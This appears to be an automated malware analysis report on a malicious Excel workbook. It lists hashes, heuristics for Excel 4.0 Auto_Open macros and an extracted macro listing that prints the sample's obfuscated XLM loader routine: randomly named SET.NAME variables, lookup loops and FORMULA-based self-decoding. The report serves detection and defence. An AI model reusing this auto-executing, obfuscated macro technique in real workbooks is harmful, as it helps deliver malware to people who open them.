Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ff8fbadc3fa386a8…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:42:49 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: a55881ab07fc5ecf696c7b0feefd0209 SHA-1: 8b18275da0479a3d42b805517bb8f55abed9f593 SHA-256: ff8fbadc3fa386a887c139309d86510720c3c4c984bb982e4620b82a2710dcfd
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6388 bytes
SHA-256: bd9a05eb11b48fb63dfe3f0054f2105d58d46d21ee884ddc148019a141fe2992
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Loxp
' 0018     27 LABEL : Cell Value, String Constant - ACWFghQpQdTi len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C144 
' 0018     21 LABEL : Cell Value, String Constant - dvkcha len=0 
' 0018     22 LABEL : Cell Value, String Constant - eLHKKRM len=0 
' 0018     20 LABEL : Cell Value, String Constant - eZnsi len=0 
' 0018     20 LABEL : Cell Value, String Constant - Giesi len=0 
' 0018     24 LABEL : Cell Value, String Constant - hpsmvvgbX len=0 
' 0018     22 LABEL : Cell Value, String Constant - hRMuvML len=0 
' 0018     25 LABEL : Cell Value, String Constant - HXBnafHQLI len=0 
' 0018     27 LABEL : Cell Value, String Constant - ipiDXwzmLvNn len=0 
' 0018     21 LABEL : Cell Value, String Constant - JQwjwi len=0 
' 0018     21 LABEL : Cell Value, String Constant - KMgNeX len=0 
' 0018     26 LABEL : Cell Value, String Constant - lISHgGURKhB len=0 
' 0018     27 LABEL : Cell Value, String Constant - MAiPunQEuZCt len=0 
' 0018     21 LABEL : Cell Value, String Constant - PeqoFP len=0 
' 0018     24 LABEL : Cell Value, String Constant - rRWNmmYJh len=0 
' 0018     27 LABEL : Cell Value, String Constant - SiEPCCSRQfqi len=0 
' 0018     26 LABEL : Cell Value, String Constant - SiRUKMxXcmY len=0 
' 0018     21 LABEL : Cell Value, String Constant - uEHSYv len=0 
' 0018     20 LABEL : Cell Value, String Constant - YqJAz len=0 
' 0018     22 LABEL : Cell Value, String Constant - zFNtFJh len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Loxp,C56,"SET.NAME("MAiPunQEuZCt",VALUE("0"))",""
'  Loxp,C59,"SET.NAME("eLHKKRM",MAiPunQEuZCt)",""
'  Loxp,C61,"SET.NAME("HXBnafHQLI",MAiPunQEuZCt)",""
'  Loxp,C63,"SET.NAME("SiEPCCSRQfqi",COUNTA(hpsmvvgbX))",""
'  Loxp,C65,"SET.NAME("hRMuvML",COUNTA(eZnsi))",""
'  Loxp,C68,[],""
'  Loxp,C73,"SET.NAME("rRWNmmYJh","")",""
'  Loxp,C76,"eLHKKRM",""
'  Loxp,C79,"SET.NAME("SiRUKMxXcmY",HLOOKUP("*",hpsmvvgbX,eLHKKRM,FALSE))",""
'  Loxp,C84,"uEHSYv",""
'  Loxp,C88,"SET.NAME("PeqoFP",MAiPunQEuZCt)",""
'  Loxp,C91,[],""
'  Loxp,C95,"PeqoFP",""
'  Loxp,C98,"JQwjwi",""
'  Loxp,C103,"Giesi",""
'  Loxp,C106,"KMgNeX",""
'  Loxp,C111,"SET.NAME("ipiDXwzmLvNn",VALUE(HLOOKUP("*",eZnsi,KMgNeX,FALSE)))",""
'  Loxp,C114,"lISHgGURKhB",""
'  Loxp,C117,"rRWNmmYJh",""
'  Loxp,C121,"HXBnafHQLI",""
'  Loxp,C124,NEXT(),""
'  Loxp,C126,"ACWFghQpQdTi",""
'  Loxp,C129,"SET.NAME("f",INT(T(FORMULA(T(rRWNmmYJh)&"",""&T(ACWFghQpQdTi)))))",""
'  Loxp,C132,"zFNtFJh",""
'  Loxp,C137,NEXT(),""
'  Loxp,C139,RETURN(),""
'  Loxp,C173,"SET.NAME("dvkcha",C56)",""
'  Loxp,C177,"hpsmvvgbX",""
'  Loxp,C182,"SET.NAME("eZnsi",R76C13)",""
'  Loxp,C185,"SET.NAME("zFNtFJh",193)",""
'  Loxp,C187,"SET.NAME("YqJAz",3)",""
'  Loxp,C192,dvkcha(),""
'  Loxp,C193,HALT(),""

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